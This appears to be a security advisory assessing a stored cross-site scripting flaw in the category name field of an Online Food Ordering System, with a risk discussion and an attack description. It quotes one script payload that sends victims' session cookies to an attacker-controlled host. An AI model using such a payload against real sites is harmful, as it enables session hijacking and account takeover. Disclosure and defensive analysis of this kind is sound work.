Online Food Ordering System CVE-2026-30527

Risk assessment is constrained by missing CVSS metrics and EPSS data in the provided intelligence. However, multiple signals indicate moderate-to-high real-world risk: (1) Publicly available exploit code exists, lowering the barrier to exploitation; (2) The attack requires authenticated access (admin or user with category management privileges), reducing the immediate attack surface but increasing risk in multi-user or compromise scenarios; (3) Stored XSS impacts all users who view affected data, creating a persistence mechanism superior to reflected XSS; (4) The target (category names) is a fundamental data element likely rendered across multiple pages, multiplying exposure. Without CVSS vector data, we cannot quantify attack complexity or scope, but the presence of working exploit code and the application's widespread use in online food ordering contexts suggest this warrants prioritization. The lack of KEV status does not diminish the risk-many actively exploited vulnerabilities lack formal CISA designation.

An authenticated attacker (or compromised admin account) creates or edits a food category, injecting a malicious JavaScript payload such as <script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script> into the Category Name field. The payload is stored in the database. When any other admin or authorized user later visits the Category list page or any page displaying this category, the JavaScript executes in their browser with their session cookies and privileges, allowing the attacker to steal credentials, hijack sessions, or perform administrative actions. Publicly available exploit code on GitHub confirms this attack path is straightforward to execute.